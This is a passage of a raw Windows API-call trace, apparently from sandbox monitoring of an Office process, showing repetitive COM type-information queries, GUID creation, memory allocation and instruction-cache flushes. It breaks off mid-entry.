0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xba, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbb, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbc, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbd, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbe, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbf, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc0, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc1, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc2, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc3, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc4, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc5, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc6, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc7, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc8, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc9, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xca, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcb, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcc, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcd, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xce, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcf, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.389] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.389] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd0, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd1, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd2, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd3, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd4, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd5, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd6, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd7, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd8, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd9, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xda, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdb, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdc, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdd, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xde, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdf, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe0, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe1, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe2, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe3, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.390] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.390] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe4, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe5, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe6, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe7, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe8, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe9, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xea, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xeb, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xec, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xed, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xee, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xef, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf0, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf1, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf2, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf3, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf4, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf5, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf6, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf7, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.391] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.391] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf8, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.392] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.392] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f5828 | out: ppvObject=0xbcb38f5828*=0x2885d2711b8) returned 0x0 [0071.392] ITypeInfo2:GetCustData (in: This=0x2885d2711b8, GUID=0x7ff9bdf05de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xbcb38f5838 | out: pVarVal=0xbcb38f5838*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0071.392] IUnknown:Release (This=0x2885d2711b8) returned 0x2 [0071.392] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d2711b8, memid=-1, refPtrFlags=0xb38f5830, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0071.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xbcb38f5740, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0071.392] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0071.392] IUnknown:QueryInterface (in: This=0x2885d271318, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f57e0 | out: ppvObject=0xbcb38f57e0*=0x0) returned 0x80004002 [0071.392] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f5808, pDummy=0xbcb38f57e0 | out: ppTypeAttr=0xbcb38f5808, pDummy=0xbcb38f57e0*=0x0) returned 0x0 [0071.392] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0071.392] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.392] IUnknown:Release (This=0x2885d271318) returned 0x3 [0071.392] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0071.392] IUnknown:AddRef (This=0x2885d271318) returned 0x4 [0071.392] IUnknown:Release (This=0x2885d271318) returned 0x3 [0071.392] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.392] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d2711b8, ppTypeAttr=0xbcb38f5b08, pDummy=0x2885d5ca850 | out: ppTypeAttr=0xbcb38f5b08, pDummy=0x2885d5ca850*=0x5d5c0007) returned 0x0 [0071.392] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d2711b8) returned 0x0 [0071.392] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0071.392] CoCreateGuid (in: pguid=0xbcb38f5cc0 | out: pguid=0xbcb38f5cc0*(Data1=0xce34eb42, Data2=0x9a9c, Data3=0x4493, Data4=([0]=0x97, [1]=0xbe, [2]=0xf2, [3]=0x75, [4]=0xbb, [5]=0xf2, [6]=0xc6, [7]=0x5))) returned 0x0 [0071.392] CoCreateGuid (in: pguid=0xbcb38f5cc0 | out: pguid=0xbcb38f5cc0*(Data1=0xd2b55e92, Data2=0xb03f, Data3=0x48a2, Data4=([0]=0xa7, [1]=0x49, [2]=0xe9, [3]=0xbc, [4]=0xb7, [5]=0x8a, [6]=0x1a, [7]=0xfd))) returned 0x0 [0071.392] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2885da01e90 [0071.392] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2885da7f670 [0071.393] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885da7f670) returned 0xc0 [0071.393] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f5f50, pDummy=0x2885d5ca850 | out: ppTypeAttr=0xbcb38f5f50, pDummy=0x2885d5ca850*=0x5d5c0007) returned 0x0 [0071.393] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0071.393] ITypeInfo:GetRefTypeOfImplType (in: This=0x2885d271268, index=0x0, pRefType=0xbcb38f5f48 | out: pRefType=0xbcb38f5f48*=0x3) returned 0x0 [0071.393] ITypeInfo:GetRefTypeInfo (in: This=0x2885d271268, hreftype=0x3, ppTInfo=0xbcb38f5f58 | out: ppTInfo=0xbcb38f5f58*=0x288574623e8) returned 0x0 [0071.393] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.393] ITypeInfo:RemoteGetTypeAttr (in: This=0x288574623e8, ppTypeAttr=0xbcb38f5f50, pDummy=0xbcb38f5f28 | out: ppTypeAttr=0xbcb38f5f50, pDummy=0xbcb38f5f28*=0x400) returned 0x0 [0071.393] ITypeInfo:LocalReleaseTypeAttr (This=0x288574623e8) returned 0x0 [0071.393] ITypeInfo:GetRefTypeOfImplType (in: This=0x288574623e8, index=0x0, pRefType=0xbcb38f5f48 | out: pRefType=0xbcb38f5f48*=0x182) returned 0x0 [0071.393] ITypeInfo:GetRefTypeInfo (in: This=0x288574623e8, hreftype=0x182, ppTInfo=0xbcb38f5f58 | out: ppTInfo=0xbcb38f5f58*=0x28857462440) returned 0x0 [0071.393] IUnknown:Release (This=0x288574623e8) returned 0x2 [0071.393] ITypeInfo:RemoteGetTypeAttr (in: This=0x28857462440, ppTypeAttr=0xbcb38f5f50, pDummy=0xbcb38f5f30 | out: ppTypeAttr=0xbcb38f5f50, pDummy=0xbcb38f5f30*=0xb38f5f60) returned 0x0 [0071.393] ITypeInfo:LocalReleaseTypeAttr (This=0x28857462440) returned 0x0 [0071.393] IUnknown:Release (This=0x28857462440) returned 0x1 [0071.393] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x810) returned 0x2885d8b27f0 [0071.393] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x2885d9ab8b0 [0071.394] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x288617b0000 [0071.395] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x200) returned 0x2885d967040 [0071.395] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x318) returned 0x2885d676580 [0071.395] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d8b27f0, cb=0x78) returned 0x2885d8b27f0 [0071.395] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e225100) [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecee8, dwSize=0x8) returned 1 [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed928, dwSize=0x8) returned 1 [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ed9e8, dwSize=0x8) returned 1 [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecd78, dwSize=0x8) returned 1 [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ece30, dwSize=0x8) returned 1 [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecee8, dwSize=0x8) returned 1 [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6ecf20, dwSize=0x8) returned 1 [0071.395] GetCurrentProcess () returned 0xffffffffffffffff [0071.395] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eac38, dwSize=0x8) returned 1 [0071.396] GetCurrentProcess () returned 0xffffffffffffffff [0071.396] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eacf0, dwSize=0x8) returned 1 [0071.396] GetCurrentProcess () returned 0xffffffffffffffff [0071.396] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d6eb548, dwSize=0x8) returned 1 [0071.396] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x810) returned 0x2885da85ef0 [0071.396] realloc (_Block=0x0, _Size=0x200) returned 0x2885bb6dfe0 [0071.396] realloc (_Block=0x0, _Size=0xc0) returned 0x2885bb6e1f0 [0071.396] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e62fe2 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.396] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e6301a | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.396] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63052 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.397] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e6308a | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.397] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e630c2 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.397] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, 